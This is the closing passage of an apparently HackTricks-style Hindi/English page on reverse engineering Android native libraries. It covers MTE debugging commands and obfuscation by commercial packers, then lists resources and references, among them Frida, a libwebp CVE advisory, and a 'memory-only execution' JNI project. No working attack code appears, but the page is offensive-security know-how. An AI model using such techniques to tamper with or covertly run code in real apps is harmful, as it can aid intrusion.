* **MTE & Scudo hardened allocator:** memory-tagging विकल्प पर है लेकिन कई Play-Integrity aware apps `-fsanitize=memtag` के साथ build करते हैं; tag faults कैप्चर करने के लिए `setprop arm64.memtag.dump 1` और `adb shell am start ...` का उपयोग करें।
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) दिन-प्रतिदिन native code की रक्षा करने लगे हैं, केवल Java ही नहीं; `.rodata` में bogus control-flow और encrypted string blobs की उम्मीद रखें।
---
### Resources
### संसाधन
- **Learning ARM Assembly:** [Azeria Labs ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
- **ARM Assembly सीखना:** [Azeria Labs ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
- **JNI & NDK दस्तावेज़:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
- **Native Libraries डिबगिंग:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
### References
### संदर्भ
- Frida 16.x change-log (Android hooking, tiny-function relocation) [frida.re/news](https://frida.re/news/)
- NVD advisory for `libwebp` overflow CVE-2023-4863 [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
- SoTap: Lightweight in-app JNI (.so) behavior logger [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- SoTap Releases [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- How to work with SoTap? [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}